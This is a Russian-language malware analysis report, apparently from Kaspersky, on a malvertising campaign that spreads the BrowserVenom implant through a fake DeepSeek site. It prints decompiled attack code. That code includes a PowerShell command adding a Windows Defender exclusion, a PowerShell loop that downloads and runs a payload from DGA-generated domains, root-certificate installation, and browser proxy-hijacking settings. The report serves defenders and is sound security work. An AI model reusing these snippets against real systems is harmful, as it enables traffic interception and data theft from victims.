
Введение
DeepSeek-R1 — одна из самых популярных больших языковых моделей (LLM) на сегодняшний день. Как продвинутые, так и неопытные пользователи ищут сайты чат-ботов через поисковые системы, что побудило злоумышленников воспользоваться популярностью LLM. Ранее мы уже сообщали о случаях распространения вредоносного ПО, в которых DeepSeek выступал в роли приманки для жертв. Тогда пользователи могли натолкнуться на вредоносные домены как в публикациях на платформе X, так и в обычной поисковой выдаче.
Однако в последнее время злоумышленники прибегают к вредоносной рекламе (malvertising), чтобы заманивать жертв на волне популярности чат-ботов. Например, недавно мы выявили новую вредоносную кампанию, распространяющую ранее неизвестное вредоносное ПО через поддельный установщик LLM-фреймворка для работы с DeepSeek-R1. Зловред распространяется через фишинговый сайт, маскирующийся под официальный сайт DeepSeek и продвигаемый в поисковой выдаче с помощью Google Ads. В результате атаки в систему жертвы устанавливается имплант BrowserVenom, который перенастраивает все браузеры на принудительное использование прокси-сервера, контролируемого злоумышленниками. Так они получают возможность изменять сетевой трафик жертвы и извлекать из него ценные данные.
Приманка для фишинга
Заражение начиналось через фишинговый сайт, расположенный по адресу https[:]//deepseek-platform[.]com
. Для его распространения злоумышленники использовали рекламный сервис — подставной сайт намеренно выводился на первое место в результатах поиска по запросу «deepseek r1», одной из самых популярных моделей DeepSeek.
После перехода на сайт выполняется проверка операционной системы жертвы. Если у пользователя установлена ОС Windows, откроется страница, на которой будет активна только одна кнопка — Try now («Попробовать сейчас»). Мы также видели варианты сайта для других операционных систем с незначительными изменениями в формулировках, но все они побуждают пользователя нажать кнопку.
После нажатия этой кнопки появляется страница проверки CAPTCHA. Ее код представляет собой обфусцированный JavaScript, выполняющий ряд проверок с целью подтвердить, что пользователь не является роботом. На том же вредоносном домене мы обнаружили и другие скрипты — предполагаем, что это не первая кампания такого рода. После успешного прохождения CAPTCHA пользователь перенаправляется на страницу proxy1.php
, где отображается кнопка Download now («Скачать сейчас»). При нажатии кнопки загружается вредоносный установщик с именем AI_Launcher_1.21.exe
со следующего URL-адреса: https://r1deepseek-ai[.]com/gg/cc/AI_Launcher_1.21.exe
.
Мы изучили исходный код фишингового сайта и страницы доставки и обнаружили комментарии на русском языке, относящиеся к функциональности сайтов. Это дает основания полагать, что сайты разработаны русскоговорящими злоумышленниками.
Вредоносный загрузчик
Вредоносный загрузчик AI_Launcher_1.21.exe
отвечает за выполнение вредоносного ПО следующего этапа. После запуска исполняемый файл открывает окно, имитирующее Cloudflare CAPTCHA.
Это очередная поддельная CAPTCHA, загружаемая с https[:]//casoredkff[.]pro/captcha
. Как только пользователь поставит галочку, к URL-адресу будет добавлен суффикс /success
, а затем появится следующий экран, предлагающий загрузить и установить Ollama и LM Studio.
Нажатие любой из двух кнопок Install («Установить») приводит к загрузке и запуску соответствующего установщика, но одновременно с этим выполняется дополнительная функция — MLInstaller.Runner.Run()
. Она активирует вредоносную часть импланта.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
private async void lmBtn_Click(object sender, EventArgs e) { try { MainFrm.<>c__DisplayClass5_0 CS$<>8__locals1 = new MainFrm.<>c__DisplayClass5_0(); this.lmBtn.Text = "Downloading.."; this.lmBtn.Enabled = false; Action action; if ((action = MainFrm.<>O.<0>__Run) == null) { action = (MainFrm.<>O.<0>__Run = new Action(Runner.Run)); # <--- инициализация зловреда } Task.Run(action); CS$<>8__locals1.ollamaPath = Path.Combine(Path.GetTempPath(), "LM-Studio-0.3.9-6-x64.exe"); [...] |
Функция MLInstaller.Runner.Run()
запускается в отдельном потоке на устройстве и осуществляет заражение системы в три этапа.
- Сначала вредоносная функция пытается внести каталог пользователя в список исключений Защитника Windows. Для этого она расшифровывает буфер с помощью алгоритма AES.
Данные для AES-шифрования встроены в код импланта.Тип AES-256-CBC Ключ 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 IV 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 Расшифрованный буфер содержит PowerShell-команду, которая добавляет каталог в список исключений.
1powershell.exe -inputformat none -outputformat none -NonInteractive -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath $USERPROFILEСледует отметить, что эта команда требует административных привилегий — без них выполнение завершится ошибкой.
- Затем выполняется еще одна PowerShell-команда. Она загружает исполняемый файл с вредоносного домена, имя которого создается с помощью простого алгоритма генерации доменов (DGA). Загруженный файл сохраняется в каталоге пользователя по пути
%USERPROFILE%\Music\1.exe
и затем запускается.123456789101112131415161718192021$ap = "/api/getFile?fn=lai.exe";$b = $null;foreach($i in 0..1000000) {$s = if ($i - gt 0) {$i} else {""};$d = "https://app-updater$s.app$ap";$b = (New - Object Net.WebClient).DownloadData($d);if ($b) {break}};if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion() - match"^v2") {[IO.File]::WriteAllBytes("$env:USERPROFILE\Music\1.exe", $b);Start - Process "$env:USERPROFILE\Music\1.exe" - NoNewWindow} else {([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)}На момент нашего исследования существовал только один вредоносный домен:
app-updater1[.]app
. Сейчас загрузить бинарный файл с этого домена невозможно, но мы предполагаем, что это может быть еще один вредоносный имплант, например бэкдор, расширяющий возможности доступа. В настоящее время нам удалось выявить несколько вредоносных доменных имен, связанных с этой угрозой — они приведены в разделе с индикаторами компрометации. - Затем функция
MLInstaller.Runner.Run()
находит полезную нагрузку второго этапа, заданную в классе и переменнойConfigFiles.load
внутри буфера вредоносного загрузчика. Этот исполняемый файл расшифровывается тем же алгоритмом AES, что и ранее, после чего загружается в память и запускается.
Загружаемый имплант: BrowserVenom
Мы назвали имплант следующего этапа BrowserVenom, поскольку он перенастраивает все экземпляры браузеров на принудительное использование прокси-сервера, контролируемого злоумышленниками. Таким образом они получают возможность перехватывать конфиденциальные данные, отслеживать активность жертвы в интернете и даже расшифровывать трафик.
Сначала BrowserVenom проверяет, обладает ли текущий пользователь правами администратора (если нет, выполнение прекращается), и устанавливает прописанный в коде сертификат, созданный злоумышленниками:
1 2 3 4 5 6 7 8 9 |
[...] X509Certificate2 x509Certificate = new X509Certificate2(Resources.cert); if (RightsChecker.IsProcessRunningAsAdministrator()) { StoreLocation storeLocation = StoreLocation.LocalMachine; X509Store x509Store = new X509Store(StoreName.Root, storeLocation); x509Store.Open(OpenFlags.ReadWrite); x509Store.Add(x509Certificate); [...] |
Затем зловред добавляет заданный адрес прокси-сервера во все установленные и запущенные браузеры. Для браузеров на базе Chromium (например, Chrome или Microsoft Edge) имплант добавляет аргумент proxy-server
во все существующие LNK-файлы, а для браузеров на базе Gecko (например, Firefox или Tor Browser) изменяет настройки профиля текущего пользователя:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
[...] new ChromeModifier(new string[] { "chrome.exe", "msedge.exe", "opera.exe", "brave.exe", "vivaldi.exe", "browser.exe", "torch.exe", "dragon.exe", "iron.exe", "epic.exe", "blisk.exe", "colibri.exe", "centbrowser.exe", "maxthon.exe", "coccoc.exe", "slimjet.exe", "urbrowser.exe", "kiwi.exe" }, string.Concat(new string[] { "--proxy-server=\"", ProfileSettings.Host, ":", ProfileSettings.Port, "\"" })).ProcessShortcuts(); GeckoModifier.Modify(); [...] |
В настоящее время зловред использует следующие настройки:
1 2 3 4 |
public static readonly string Host = "141.105.130[.]106"; public static readonly string Port = "37121"; public static readonly string ID = "LauncherLM"; public static string HWID = ChromeModifier.RandomString(5); |
Переменные Host
и Port
служат параметрами прокси-сервера, а ID
и HWID
добавляются к User-Agent браузера, вероятно, с целью отслеживания сетевого трафика жертвы.
Заключение
Как мы уже рассказывали, DeepSeek стал для злоумышленников идеальной приманкой, привлекающей новых жертв. Пополнение арсенала киберпреступников такими инструментами, как BrowserVenom, затрудняет обнаружение и идентификацию их действий. Кроме того, продвижение через Google Ads расширяет охват жертв и создает видимость легитимности, что усложняет последствия подобных кампаний.
На момент исследования мы зафиксировали множественные случаи заражения в Бразилии, Кубе, Мексике, Индии, Непале, Южной Африке и Египте. Характер приманки и географическое распределение атак позволяют нам предположить, что подобные кампании продолжают представлять глобальную угрозу для ничего не подозревающих пользователей.
Для защиты от таких атак мы рекомендуем пользователям удостоверяться, что результаты поиска ведут на официальные сайты, а также тщательно проверять URL-адреса и сертификаты, чтобы убедиться в подлинности ресурса и легитимности загружаемого ПО. Соблюдение этих мер предосторожности поможет избежать заражения.
Решения «Лаборатории Касперского» детектируют эту угрозу как HEUR:Trojan.Win32.Generic
и Trojan.Win32.SelfDel.iwcv
.
Индикаторы компрометации
Хэши
d435a9a303a27c98d4e7afa157ab47de AI_Launcher_1.21.exe
dc08e0a005d64cc9e5b2fdd201f97fd6
Домены и IP-адреса
deepseek-platform[.]com | Фишинговый сайт |
r1deepseek-ai[.]com | Сервер доставки |
app-updater1[.]app | Серверы второго этапа заражения |
app-updater2[.]app | |
app-updater[.]app | |
141.105.130[.]106 | Вредоносный прокси |
Токсичная тенденция: очередной зловред маскируется под DeepSeek